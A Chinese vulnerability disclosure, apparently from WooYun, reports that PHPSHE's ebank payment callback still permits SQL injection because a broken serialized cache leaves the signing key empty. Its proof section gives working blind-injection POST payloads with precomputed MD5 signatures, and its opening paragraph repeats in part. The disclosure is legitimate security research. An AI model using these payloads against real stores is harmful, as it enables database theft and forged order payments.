### 简要描述: 又SQL注入了。 ### 详细说明: [WooYun: PHPSHE SQL注入](http://www.wooyun.org/bugs/wooyun-2014-077823) 来看看这个去年的漏洞修复的怎么样了- - ``` <?php include('../../../../common.php'); $cache_payway = cache::get('payway'); $payway = unserialize($cache_payway['ebank']['payway_config']); $key = $payway['ebank_md5']; //??????????这个位置呢? $v_oid =trim($_POST['v_oid']); $v_pmode =trim($_POST['v_pmode']); $v_pstatus =trim($_POST['v_pstatus']); $v_pstring =trim($_POST['v_pstring']); $v_amount =trim($_POST['v_amount']); $v_moneytype =trim($_POST['v_moneytype']); $remark1 =trim($_POST['remark1']); $remark2 =trim($_POST['remark2']); $v_md5str =trim($_POST['v_md5str']); /** * 重新计算md5的值 */ $md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key)); /** * 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理 */ if ($v_md5str==$md5string) { if($v_pstatus=="20") { $info = $db->pe_select('order', array('order_id'=>$v_oid)); if ($info['order_state'] == 'notpay') { $order['order_outid'] = $v_pmode; $order['order_payway'] =...
### 简要描述: 又SQL注入了。 ### 详细说明: [WooYun: PHPSHE SQL注入](http://www.wooyun.org/bugs/wooyun-2014-077823) 来看看这个去年的漏洞修复的怎么样了- - ``` <?php include('../../../../common.php'); $cache_payway = cache::get('payway'); $payway = unserialize($cache_payway['ebank']['payway_config']); $key = $payway['ebank_md5']; //??????????这个位置呢? $v_oid =trim($_POST['v_oid']); $v_pmode =trim($_POST['v_pmode']); $v_pstatus =trim($_POST['v_pstatus']); $v_pstring =trim($_POST['v_pstring']); $v_amount =trim($_POST['v_amount']); $v_moneytype =trim($_POST['v_moneytype']); $remark1 =trim($_POST['remark1']); $remark2 =trim($_POST['remark2']); $v_md5str =trim($_POST['v_md5str']); /** * 重新计算md5的值 */ $md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key)); /** * 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理 */ if ($v_md5str==$md5string) { if($v_pstatus=="20") { $info = $db->pe_select('order', array('order_id'=>$v_oid)); if ($info['order_state'] == 'notpay') { $order['order_outid'] = $v_pmode; $order['order_payway'] = 'ebank'; $order['order_state'] = 'paid'; $order['order_ptime'] = time(); $db->pe_update('order', array('order_id'=>$v_oid), $order); pe_success('订单支付成功...'); } } else { echo "支付失败"; } } else{ echo " 校验失败,数据可疑";//多了这么一句- - 不知道其他地方修复的怎么样 } ?> </BODY> </HTML> ``` 可以看到官网也更新了 [<img src="https://images.seebug.org/upload/201504/01231922d4f083dabe46d01ff869a61d607fdae9.png" alt="3333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01231922d4f083dabe46d01ff869a61d607fdae9.png) 接下来检查$payway['ebank_md5']; 这个值在哪里。 后台的话是在 http://localhost/admin.php?mod=payway&act=edit&id=1 [<img src="https://images.seebug.org/upload/201504/01232032fceb5ef7ddf225c495d28cfa6bb880b1.png" alt="55555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01232032fceb5ef7ddf225c495d28cfa6bb880b1.png) 然后这个值是写在 \data\cache\payway.cache.php里面的。 [<img src="https://images.seebug.org/upload/201504/0123232658fce870cca6cbd74f76ea29db668e37.png" alt="7777.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0123232658fce870cca6cbd74f76ea29db668e37.png) 本来以为修复好了,但是! 这个serialize明显错了,所以unserialize根本就解不出正确的ebank_md5的值,因此这里$key还是空的,导致了再次的注入。 ### 漏洞证明: 所以注入方式还是那样的。 真: localhost/include/plugin/payway/ebank/Receive.php POST: v_oid=1504010001' and substring(user(),1,1)=char(114)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=142B4BECC6EBEDDF345ED1EDAA4CD1A1 就会更新数据库。 [<img src="https://images.seebug.org/upload/201504/01232719222130d041fb54a037158bf17c9cf825.png" alt="1111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01232719222130d041fb54a037158bf17c9cf825.png) 假: localhost/include/plugin/payway/ebank/Receive.php POST: v_oid=1504010001' and substring(user(),1,1)=char(11)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=E525D914466B228CD57DEDB0D90F8674 就只执行一条语句。 [<img src="https://images.seebug.org/upload/201504/012329183180ccaa831d4f9f778a07db2e73608e.png" alt="2222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/012329183180ccaa831d4f9f778a07db2e73608e.png)